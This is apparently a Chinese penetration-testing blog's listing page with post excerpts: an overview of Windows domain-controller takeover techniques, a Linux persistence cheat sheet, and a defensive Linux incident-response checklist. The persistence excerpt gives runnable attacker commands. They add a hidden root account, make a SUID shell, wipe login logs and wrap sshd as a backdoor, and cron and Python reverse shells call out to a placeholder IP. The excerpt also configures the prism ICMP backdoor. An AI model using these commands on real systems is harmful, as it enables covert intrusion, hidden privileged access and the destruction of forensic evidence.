首页
月影的wiki
搜索
1
2023HW漏洞POC、EXP补充
719 阅读
2
海康威视常见漏洞收集
568 阅读
3
Cobalt Strike 插件CSx3Ldr, 一键生成免杀木马
422 阅读
4
代码审计分析工具 Fortify-2023
295 阅读
5
windows域控常见打法
271 阅读
渗透测试
代码脚本
工具
备忘录
业余爱好
闲话
系统应急
梅花易数
小六壬
漏洞
登录
Search
月影
累计撰写
85
篇文章
累计收到
101
条评论
首页
栏目
渗透测试
代码脚本
工具
备忘录
业余爱好
闲话
系统应急
梅花易数
小六壬
漏洞
页面
月影的wiki
搜索到
12
篇与
的结果
2023-11-11
windows域控常见打法
0x1 前言最近复习了下域的一些知识,查阅资料的时候感觉比前几年的时候多了不少,越来越透明了,然后这里顺便总结下常见拿域控的方法,都是实战中常用的,每种方法下面都贴了实战或者参考文章的链接,然后平常学习的时候,要理清楚每种漏洞的原理,漏洞需要的条件,然后在实际的环境中,结合收集到的信息,这样才能梳理出正确和清晰的攻击思路。0x2 常见拿域控的方法2.1 高可用域控漏洞通过Zerologon、Nopac、PrintNightmare漏洞一把梭,MS17-010,MS-14068运气很好的话说不定也能梭,然后就是漏洞利用的条件以及漏洞原理搞清楚,具体的漏洞利用过程网上文章超级多了。MS-14608实战文章:https://mp.weixin.qq.com/s/rS-LAAjPI-k0-n_HxlSt9wMS17-010实战文章:https://mp.weixin.qq.com/s/KzghydvJtaFyPOrNanosAgZerologon实战文章:https://mp.weixin.qq.com/s/pBwIpBx7nJ9wu9R7YJR3xgNoPac实战文章:https://mp.weixin.qq.com/s/TLloZlFt-fkxg1pGMk9aQPrintNightmare实战文章:https://mp.weixin.qq.com/s/LrEKrSJiT5zNGahUrFWPFg2.2 抓取凭据或注入域管理员进程查看有没有域管理员进程,没有就尝试密码喷洒或其他漏洞等方法,尽可能多横向机器,有的话注入到域管理员进程。实战文章:https://mp.weixin.qq.com/s/LrEKrSJiT5zNGahUrFWPFg抓取凭据查看没有域管理员凭据,没有就尝试密码喷洒或其他漏洞等方法,也是尽可能多横向机器。实战文章:https://mp.weixin.qq.com/s/gYiBDA14RDQUl1eka_WwIw可以借助BloodHound更直观。2.3 非约束委派主机结合打印机漏洞拿到的这台机器是被域管配置成了非约束委派的话,我们就可以委派域中任意用户去访问任意服务(例如域控的 CIFS 服务),但前提是目标用户向我们发起了 Kerberos 请求,可以使用 PrintBug 或者 PetitPotam等强制认证漏洞来完成。参考文章:https://mp.weixin.qq.com/s/MRtQG6O2eRVczZojJYCw7g实战文章:https://mp.weixin.qq.com/s/BgBMs1QNP35riA6ZsorZSA2.4 CVE-2019-1040这种一般是通过CVE-2019-1040加强制认证进行NTLM Realy,配合RBCD或ACL等来打域控或Exchange等,这一部的涉及的知识挺多的,这次也恶补了下。参考文章:https://mp.weixin.qq.com/s/bbquXVj24j3jbZNs2XZ_YAhttps://mp.weixin.qq.com/s/T55i1FqTonG1aIq9Bcj7VQhttps://mp.weixin.qq.com/s/cnQGg0S9Py7Ix6M9CAqKbg2.5 Exchange漏洞通过利用漏洞如ProxyShell、ProxyNotSell、ProxyLogon、CVE-2021-26857、PrivExchange等来获取Exchange服务器权限,获得Exchange 权限后,由于特殊组的缘故导致其拥有WriteDACL权限,可以修改域内的ACL,赋予Dcsync ACE权限给指定的用户,允许模拟域控制器,请求域内帐户的哈希值,包括域管理员的哈希值,最终获取域控制器的控制权。实战文章:https://mp.weixin.qq.com/s/Uufa1SabEU2ndJ3Lt5Boighttps://mp.weixin.qq.com/s/sjlBpVjobkSKd_Uf0J_u2Ahttps://mp.weixin.qq.com/s/O6a40449vTKWUXS4kwD9xA2.6 ADCS漏洞ADCS Relay:内网里有 ADCS 服务,且开启了证书Web注册服务的话,攻击者只需要拥有一个域账号,再结合 PetitPotam 或者 PrintBug等强制认证漏洞完成,这里就不用配合CVE-2019-1040漏洞了,因为是Relay To HTTP,然后NTLM Relay拿到 DC 的 Base64 证书,通过asktgt拿到TGT,注入TGT配合DCSYNC,从而获取域控的权限。参考文章:https://mp.weixin.qq.com/s/lzBoMZfAXVR0Dj_ogO7oPAhttps://mp.weixin.qq.com/s/0s8BptnL8eWZr5k5fM0vxA实战文章:https://mp.weixin.qq.com/s/NSirkRa4w1RSjigpTsIcSwESC系列这个看了下目前是ESC1-11了,上面提到的ASCS Relay是ESC-8,剩下的看下面参考文章吧。参考文章:https://mp.weixin.qq.com/s/aVURmXz8sTe56KBfyPutEwhttps://mp.weixin.qq.com/s/bqdI41850hUkAH89ofSMJwhttps://mp.weixin.qq.com/s/-qv0VbudiKr5QhD14b013Qhttps://mp.weixin.qq.com/s/bEoaWGp19z3P_CpolHxziACVE-2022-26923:此漏洞受Nopac利用思路的影响,将Nopac中Kerberos认证相关的问题,转向证书认证相关的问题。此漏洞通过将机器账户dNSHostName属性的值修改成与域控一样的方法,来获取域控的机器账户hash,从而获取域控的权限。参考文章:https://mp.weixin.qq.com/s/3DZPkG4Z9w8xbVKvW64Mgwhttps://mp.weixin.qq.com/s/ctpRXyhP7Zl9siAsh9Lsxw实战文章:https://mp.weixin.qq.com/s/NSirkRa4w1RSjigpTsIcSw2.7 ACL滥用可以借助BloodHound分析ACL控制路径,发现可利用权限,比如如A用户对B用户有WriteDACL权限,就可以在A用户上修改B用户为GenericAll权限,让A用户对B用户拥有所有的访问控制权,然后也可以配合GPO滥用达到添加用户权限、添加一个本地管理员、添加一个新的计算机启动脚本等操作。ACL滥用比较经典的案例就是通过漏洞获得Exchange 权限后,由于特殊组的缘故导致其拥有WriteDACL权限,可以修改域内的ACL,赋予Dcsync ACE权限给指定的用户。参考文章:https://mp.weixin.qq.com/s/YCf-0FiqFfQ7WW0V5JR7jAhttps://mp.weixin.qq.com/s/mOVJ21KSArqsoAcV7piUxQhttps://mp.weixin.qq.com/s/XhbsSyDDV774LJ4o2QkSBw实战文章:https://mp.weixin.qq.com/s/r_bwyX2qj5VSqf3mVrnqGg2.8 Pre-Authentication&&AS-REP Roasting&&kerberoasting这几种都是针对域账户的,枚举用户或脱机爆破。参考文章:https://mp.weixin.qq.com/s/TH2BbrEj0X_1r2UkDD75vw0x3 实战文章推荐思考或尝试较多的几篇实战文章(建议细心阅读):https://mp.weixin.qq.com/s/Iup2hZdPADFGDSi2AXP_Pghttps://mp.weixin.qq.com/s/bDH5LYjSPRtxUi1aGNpgSwhttps://mp.weixin.qq.com/s/tdPfi4y9vxvJAA2bR_VCcghttps://mp.weixin.qq.com/s/NSirkRa4w1RSjigpTsIcSwhttps://mp.weixin.qq.com/s/z_jc0_HLqeRSCtLMG8NpEghttps://mp.weixin.qq.com/s/8OueE-bEIdkvwPWu3KqrcQ0x4 总结实战环境下还是要结合收集到的信息来制定有效的攻击路线,”实战文章推荐”建议好好阅读一下,涉及了很多知识点利用,思考的过程也都体现了出来。比如,”实战文章推荐”的第一篇,基于RBCD,通过ADFind或是LDAPsearch等导出LDAP信息,查询机器账户的mS-DS-CreatorSID属性对应的SID和用户账户对应的objectSid值,进行比较发现某用户拉入域内不少机器,推测可能是运维人员,通过鱼叉钓鱼拿下此用户权限配合RBCD拿下了一台域机器权限,之后上线CS进行信息收集,发现3389有连接记录,提取之后登录某WEB服务器,发现其连接的数据库是域内唯一注册了SPN属性的MSSQL服务,之后通过RottenTomato从SERVICE提权提权到了SYSTEM,之后发现有域管进程,至此成功拿下域控。”实战文章推荐”第二篇,使用了BloodHound来对域内收集信息且收集到m.child.xiaoli的域用户PO同时处于child.xiaoli的AS组(Enterprise Admins),然后通过寻找到达子域控的最短路径,发现当前ra用户处于SN组对主机PGO有管理员权限且PGO主机存在一个名为PGO的用户Session为子域控管理员权限,所以这里直接拿下了子域控,然后在子域上通过BloodHound分析当前PGO用户,发现PGO用户处于Administrators组且拥有GetChangesALL和GetChanges Dnsync权限,所以可以直接拿下PO用户凭据(Enterprise Admins),也就拿下了域林。文中体现了具体的思考过程,多种方法,可以去详细看看。”实战文章推荐”第六篇,从WEBDAV XXE做NTLM Realy配合RBCD,但是RBCD需要一个机器账户,所以通过把在之前的discuz数据库中的用户名整理成字典,并通过 AS_REQ返回包来判断用户名是否存在,然后将discuz的密码拿到cmd5上批量解密,解密后发现大部分用户的登录密码都是P@ssw0rd,于是使用密码喷射,成功获取到了一个域凭据,有了域凭据后连接域控ldap添加机器账户,然后通过S4U申请ST票据登录WEBDAV服务器,最后通过ssp lsass绕过卡巴dump出了域管理员hash,成功拿下域控。最后还是做好域内信息收集吧,发现的比如,通讯录、运维密码本等这类信息也收集好,有时候对拿下域控也都有关键作用。
2023年11月11日
271 阅读
9 评论
1 点赞
2023-09-08
内网渗透指南
0x00 前言什么是内网渗透:内网是一个只有组织工作人员才能访问的专用网络,简而言之就是不可简单地通过外部公网ip进行访问到的公司内部网络。对于一个大型公司的网络系统,通过信息收集找到网站漏洞可以顺利通过公网进入公司内部网络时,进一步对公司内部网络的渗透攻击即为内网渗透。
2023年09月08日
33 阅读
2 评论
0 点赞
2023-08-27
wireshark速查
Wireshark 基本语法,基本使用方法,及包过滤规则
2023年08月27日
22 阅读
1 评论
0 点赞
2023-08-25
linux权限维持笔记
1.隐藏踪迹创建隐藏文件(ls不可见,ls -la可见):vim .shell.php修改时间戳(文件时间):touch -r 老文件 shell.elf文件锁定(赋予特殊权限,不允许更改):chattr +i shell.elf无w、who、last等记录ssh:ssh -T root@IP清除last记录(登录信息):echo '' > /var/log/wtmp端口复用:将来自IP访问80端口的流量转发到22端口iptables -t nat -A PREROUTING -p tcp -s IP --dport 80 -j REDIRECT --to-port 22ssh连接80端口ssh -p 80 root@IP历史命令记录隐藏:set +o history,停止记录history,查看记录history -d 序号,删除记录2.添加root权限用户直接添加useradd -p openssl passwd -1 -salt 'salt' 123456 hacker -o -u 0 -g root -G root -s /bin/bash -d /home/hacker修改/etc/passwd生成密码->放入passwd最后一行[root@localhost ~]# perl -le 'print crypt('123456',"addedsalt")'adrla7IBSfTZQ[root@localhost ~]# echo "hacker:adrla7IBSfTZQ:0:0:root:/root:/bin/bash" >> /etc/passwd3.suid shell让普通用户能用rootcp /bin/bash /tmp/shellchmod u+s /tmp/shell此时普通用户可以用root[ly@localhost root]$ /tmp/shell -pshell-4.2# whoamiroot4.ssh公私钥生成公私钥,回车就行(id_rsa是私钥、id_rsa.pub是公钥)ssh-keygen -t rsa查看公钥cat /root/.ssh/id_rsa.pub在对方电脑创建目录并放入公钥(注意粘贴开头可能少个s),重启服务mkdir /root/.sshvim /root/.ssh/authorized_keyssystemctl restart sshd.service无需密码连接ssh root@IP5.ssh软连接需要PAM认证,下面UsePAM为yesvim /etc/ssh/sshd_config防火墙开放端口->重启->查看是否开放firewall-cmd --add-port=7777/tcp --permanentfirewall-cmd --reloadfirewall-cmd --query-port=7777/tcp建立软连接ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=7777免密登录ssh root@IP -p 77776.ssh wrapper先开启ssh,将原本的sshd移位systemctl start sshd.servicecd /usr/sbin/mv sshd /重写一个sshd,赋予权限echo '#!/usr/bin/perl' >sshdecho 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshdecho 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshdchmod u+x sshd免密登录socat STDIO TCP4:IP:22,sourceport=133777.计划任务写一个反弹shell脚本并赋权echo '#!/bin/bash' > /shell.shecho 'bash -i >& /dev/tcp/IP/6666 0>&1' >> /shell.shchmod +sx /etc/shell.sh添加一分钟一次的root权限计划任务echo '/1 * root /shell.sh' >> /etc/crontabsystemctl restart crond.service8.启动项添加后门路径并赋权echo '/shell.elf' >> /etc/rc.d/rc.localchmod +x /etc/rc.d/rc.local9.vim python后门vim --version,看支不支持python3反弹shell脚本,一个socket服务端,vim shell.py写入import socket, subprocess, os;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect(("IP", 6666));os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);p = subprocess.call(["/bin/sh", "-i"]);NC监听并在对方电脑执行(可能需要等一下)vim -E -c "py3file shell.py"10.icmp后门工具https://github.com/andreafabrizi/prismvim prism.c填反弹IP、端口、时间、密码、进程名define REVERSE_HOST "192.168.1.225"define REVERSE_PORT 19832define RESPAWN_DELAY 10define ICMP_KEY "123456"define PROCESS_NAME "mysql"后台编译生成prism在对方电脑并运行gcc -DDETACH -DNORENAME -Wall -s -o prism prism.c./prismNC监听并在自己电脑执行python2 ./sendPacket.py 对方IP 密码 自己IP 端口11.Reptile工具https://github.com/f0rb1dd3n/Reptile
2023年08月25日
8 阅读
1 评论
0 点赞
2023-08-20
linux应急响应排查手册
帐号安全linux下攻击者一般不添加帐号,动作大who w uptime last禁用或删除多余和可疑的帐号sudo usermod --expiredate 1 username #禁止登录 sudo userdel -r username #删除帐号 awk -F: '($3 < 1000) {print $1,$3}' /etc/passwd #排查是否存在可疑帐号历史命令history各用户家目录的.bash_history文件端口分析可疑端口、ip、pid等信息netstat -tnlpss -tnlp进程ps -aux开机启动项systemctl list-unit-files --type=service #ubuntu chkconfig --list | grep "3:启用\|3:开\|3:on\|5:启用\|5:开\|5:on" #centos定时任务crontab -l/var/spool/cron/*/etc/cron/*服务chkconfig —list #contos日志日志默认存放位置:/var/log/*配置文件:/etc/rsyslog.conf,/etc/syslog.conf日志服务:service auditd statuslastlastloglastbssh日志/var/log/auth.log #ubuntu/var/log/secure查看登陆成功的ipgrep “Accepted “ /var/log/auth.log | awk ‘{print $11}’ | sort | uniq -c | sort -nr | more #ubuntugrep ‘Accepted’ /var/log/secure | awk ‘{print $11}’ | sort | uniq -c | sort -nr #centos中间件日志C:\WINDOWS\system32\LogFiles #iis/etc/httpd/logs/ #httpd/var/log/apache2或/usr/local/apache/logs #apache,具体查看httpd.conf文件中的定义路径/var/log/nginx/access.log #nginxlocalhost_access.log #tomcat,具体查看conf/logging.properties文件中的定义路径$MW_HOME\user_projects\domains\<domain_name>\servers\<server_name>\logs\access.log #weblogic9,$MW_HOME weblogic安装目录$MW_HOME\user_projects\domains\<domain_name>\<server_name>\access.log #weblogic8文件可疑文件find / -ctime -2 #查看72小时内新增的文件find ./ -mtime 0 -name “*.jsp” #查看24小时内修改的文件find / *.jsp -perm 4777 #查看权限为777的文件find ./ -type f -perm /u+x -mtime -10 #查找最近10天内修改过的具有可执行权限的文件安全设备态势感知 #蜜罐 #防火墙 #ips #ids #waf查看cpu占用率查看cpu占用率的目的是为了查清是哪个进程占用cpu过高(针对挖矿)top -c -o %CPUhtop -t查看cpu占用前五的进程ps -eo pid,ppid,%mem,%cpu,cmd --sort=-%cpu | head -n 5内存占用率top -c -o %MEMhtop -t查看内存占用前五的进程ps -eo pid,ppid,%mem,%cpu,cmd --sort=-%mem | head -n 5网络占用率iftop # 需要安装,root权限运行,不会展示进程idnethogs # 需要安装,root权限运行,展示进程idss -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr # 查看本地网卡ip连接数(源ip)ss -ntu | awk '{print $6}' | cut -d ":" -f1 | sort | uniq -c | sort -nr # 查看目的ip连接数(目的ip)外连ip根据目的ip查找netstat -pantu | grep 1.1.1.1netstat -pantu | grep 3389lsof -i:3389 # root权限根据本机ip查找netstat -pantu | grep 3389lsof -i:3389寻找恶意样本获取PID-找到恶意文件路径找到了恶意文件-PID根据进程名字或者部分字符串获取pidpidof "name"ps -aux | grep "name"ps -ef | grep "name" | grep -v grep | awk '{print $2}'pgrep -f "name"根据pid获取进程的详细信息lsof -p PID # root权限pwdx PID # root权限,获取该PID的进程启动时候的目录,也就是恶意文件启动的路径systemctl status PID # 获取这个进程的status信息cat /proc/PID/maps # 输出指定进程的内存映射信息ls -al /proc/1505945/exe # 输出指定进程所执行的程序的绝对路径cat /proc/$$/mountinfo # 查看当前进程所挂载的文件系统信息,其中,$$ 表示当前进程的进程 ID (PID)。查看线程ps H -T -p PID # pid是进程id,spid是线程id,CMD 表示进程/线程的命令行ps -Lf PID # 显示指定进程中各个线程的信息pstree -agplU # 显示系统中所有的进程关系根据文件找PIDlsof | grep FILENAMElsof FILENAMEfuser FILENAME # 用于查找使用特定文件或套接字的进程的命令确定程序运行时间ps -eo pid,lstart,etime,cmd | grep PID对比恶意文件的创建时间stat FILENAMEls -al FILENAME处理异常进程1、从服务器上下载样本 2、病毒在线分析 3、进程查杀1、查看是否存在子进程ps ajfx systemctl status2、如果无子进程kill -9 PID3、如果存在子进程kill -9 -PID删除恶意文件1、查看进程是否占用lsof FILENAME2、如果遇到a和i属性导致文件不可删除chattr -achattr -i3、奇怪文件名导致不能删除使用inode节点进行删除ls -li FILENAME # 查看inode删除文件find ./* -inum INODE -deletefind ./ -inum INODE -exec rm {} \;find ./* -inum INODE -exec rm -i {} \; # 提示是否删除find ./* -inum INODE -exec rm -f {} \; # 强制删除find ./* -inum INODE | xargs rm -rfrm find ./* -inum INODE大部分的应急事件的流程大概需要的命令也就是这些了,针对不同的事件还有一些区别:netstat 中TCP连接状态的示例状态 类型 描述 LISTEN TCP监听端口 侦听状态。表示该端口正在等待对端的连接,以进行通信。 SYN_SENT TCP传输控制协议状态 已经发送连接请求。表示 TCP 连接已经被发起,但是尚未收到确认。 SYN_RECV TCP传输控制协议状态 正在接收连接请求。表示 TCP 连接已经被接收,正在等待确认。通常在服务器上才会出现,表示已经接收到客户端的请求。 ESTABLISHED TCP传输控制协议状态 表示 TCP 连接已经建立,正在通信中。 FIN_WAIT1 TCP传输控制协议状态 表示 TCP 连接已经被关闭,在等待对方关闭连接的请求。 FIN_WAIT2 TCP传输控制协议状态 表示 TCP 连接已经被关闭,在等待对方关闭连接的请求,或者正在从对方接收最终确认。 TIME_WAIT TCP传输控制协议状态 表示 TCP 连接已经被关闭,并且所有数据都传输完毕,正在等待一段时间以确保所有分组都得到处理。 CLOSE_WAIT TCP传输控制协议状态 表示 TCP 连接已经被关闭,但是本地应用程序尚未关闭连接。 LAST_ACK TCP传输控制协议状态 已经发送关闭请求,正在等待对方的关闭请求。 CLOSING TCP传输控制协议状态 表示 TCP 连接正在关闭过程中。linux日志位置日志位置 描述 /var/log/message 核心系统日志文件,包含系统启动引导、系统运行状态和大部分错误信息等。 /var/log/dmesg 核心启动日志,包含系统启动时硬件相关信息。 /var/log/auth.log或 /var/log/secure 认证日志,记录成功的登录、失败的登录尝试和认证方式。 /var/log/spooler UUCP 和 news 设备相关的日志信息。 /var/log/cron 定时任务日志信息。 /var/log/maillog 邮件活动记录。 /var/log/boot 系统引导日志。 /var/log/wtmp和 /var/run/utmp 记录用户登录时间。(last) /var/log/kern 内核的错误和警告数据记录,用于排除与定制内核相关的故障。 /var/log/btmp 记录错误登录日志,是二进制文件。(lastb) /var/log/cups 记录打印信息的日志。 /var/log/lastlog 记录系统中所有用户最后一次登录时间的日志,是二进制文件。(lastlog) /var/log/rpmpkgs 记录系统中安装各 rpm 包列表信息。
2023年08月20日
10 阅读
0 评论
0 点赞
1
2
3